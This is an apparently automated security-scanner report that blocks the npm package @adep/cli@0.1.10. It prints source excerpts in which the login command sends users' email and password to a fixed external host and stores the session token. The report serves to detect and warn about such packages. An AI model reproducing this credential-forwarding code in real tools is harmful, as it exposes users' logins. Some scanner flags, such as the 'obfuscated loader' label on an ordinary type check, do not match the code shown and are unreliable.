Loading npm security reports…

@adep/cli@0.1.10: Malicious npm security report (Block) | LPM Firewall

registry / @adep/cli / 0.1.10

@adep/cli@0.1.10

`adep` 命令行工具包位：登录 / 初始化 / 本地调试 / 部署 / 数据库维护 / 云存储 / 静态托管 / 微前端组件（widget），实现见任务单 CLI-001 ~ CLI-003 与 FE-002；子路径 `@adep/cli/vite` 提供云函数 vite 插件（CLI-014）

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The CLI directs login credentials to a fixed external host by default and retains the resulting session for future requests.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

A user runs adep login without overriding the server.

Impact

The external host receives the user's email and password and can receive the persisted authenticated session on later CLI actions.

Mechanism

Credential capture through a default remote login endpoint and persisted session routing.

Attack narrative

Running adep login uses adep.jajabjbj.top unless the user supplies a server override. The command prompts for or accepts an email and password, posts both to that host, and saves its returned session token with the host address. Later CLI API requests attach that token as a cookie to the saved host, extending the credential redirection beyond the initial login.

AI rationale

Source directly establishes credential submission to a fixed unexpected endpoint and persistence of its session routing. The lack of an install hook does not remove the credential-exfiltration risk when the advertised login command is used.

Evidence

dist/index.js~/.adep/credentials

Network endpoints1

adep.jajabjbj.top

Decision evidence

public snapshot

Source & flagged code

6 flagged · loading source

dist/index.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: await handle.writeFile(JSON.stringify(credentials, null, 2)); import { createInterface } from "node:readline/promises"; const base = `${config.baseUrl}/api/v1/projects/${encodeURIComponent(projectId)}/files/${encodeURIComponent(path)}`; import { mkdir as mkdir4, readFile as readFile3, readdir as readdir2, rm as rm2, stat as stat4, unlink, writeFile as writeFile3 } from "node:fs/promises"; await writeFile3(metaPath(projectId, path), JSON.stringify(payload), "utf8"); await writeFile3(dest, data); baseUrl: options.baseUrl ?? "http://127.0.0.1:8787" import { mkdir as mkdir5, readFile as readFile4, writeFile as writeFile4 } f

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/index.jsView on unpkg

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L166: headers: { "content-type": "application/json" }, L167: body: JSON.stringify({ email: input.email, password: input.password }) L168: });

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L12

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.9 matchedPath = dist/index.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.jsView on unpkg

42if (mode !== 384) { L43: const { chmod } = await import("node:fs/promises"); L44: await chmod(file, 384);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L42

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L166: headers: { "content-type": "application/json" }, L167: body: JSON.stringify({ email: input.email, password: input.password }) L168: });

Medium

Unsafe Vm Context

Package source executes code through a VM context API.

dist/index.jsView on unpkg · L12

dist/worker-entry.jsView file

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.9 matchedPath = dist/worker-entry.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/worker-entry.jsView on unpkg

Source & flagged code

6 flagged

dist/index.jsView file

Lines 1-62javascript

1#!/usr/bin/env node

2var __defProp = Object.defineProperty;

3var __getOwnPropNames = Object.getOwnPropertyNames;

4var __esm = (fn, res) => function __init() {

5 return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;

6};

7var __export = (target, all) => {

8 for (var name in all)

9 __defProp(target, name, { get: all[name], enumerable: true });

10};

11

12// packages/cli/src/config.ts

13function resolvePaths(env = process.env) {

14 const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`;

15 return { home, credentialsFile: `${home}/credentials` };

16}

17function resolveServer(env = process.env) {

18 return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, "");

19}

20var init_config = __esm({

21 "packages/cli/src/config.ts"() {

22 "use strict";

23 }

24});

25

26// packages/cli/src/credentials.ts

27import { mkdir, open, readFile, rm, stat } from "node:fs/promises";

28import { dirname } from "node:path";

29async function saveCredentials(paths, credentials) {

30 await mkdir(dirname(paths.credentialsFile), { recursive: true });

31 const handle = await open(paths.credentialsFile, "w", 384);

32 try {

33 await handle.writeFile(JSON.stringify(credentials, null, 2));

34 } finally {

35 await handle.close();

36 }

37 await chmodStrict(paths.credentialsFile);

38}

39async function chmodStrict(file) {

40 const info = await stat(file);

41 const mode = info.mode & 511;

42 if (mode !== 384) {

43 const { chmod } = await import("node:fs/promises");

44 await chmod(file, 384);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L42

45 }

46}

47async function loadCredentials(paths) {

48 try {

49 const raw = await readFile(paths.credentialsFile, "utf8");

50 const parsed = JSON.parse(raw);

51 if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") {

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.js

52 return null;

53 }

54 return {

55 server: parsed["server"],

56 email: parsed["email"],

57 encodedToken: parsed["encodedToken"]

58 };

59 } catch {

60 return null;

61 }

62}

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: await handle.writeFile(JSON.stringify(credentials, null, 2)); import { createInterface } from "node:readline/promises"; const base = `${config.baseUrl}/api/v1/projects/${encodeURIComponent(projectId)}/files/${encodeURIComponent(path)}`; import { mkdir as mkdir4, readFile as readFile3, readdir as readdir2, rm as rm2, stat as stat4, unlink, writeFile as writeFile3 } from "node:fs/promises"; await writeFile3(metaPath(projectId, path), JSON.stringify(payload), "utf8"); await writeFile3(dest, data); baseUrl: options.baseUrl ?? "http://127.0.0.1:8787" import { mkdir as mkdir5, readFile as readFile4, writeFile as writeFile4 } f

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.9 matchedPath = dist/index.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.jsView on unpkg

dist/worker-entry.jsView file

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.9 matchedPath = dist/worker-entry.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/worker-entry.jsView on unpkg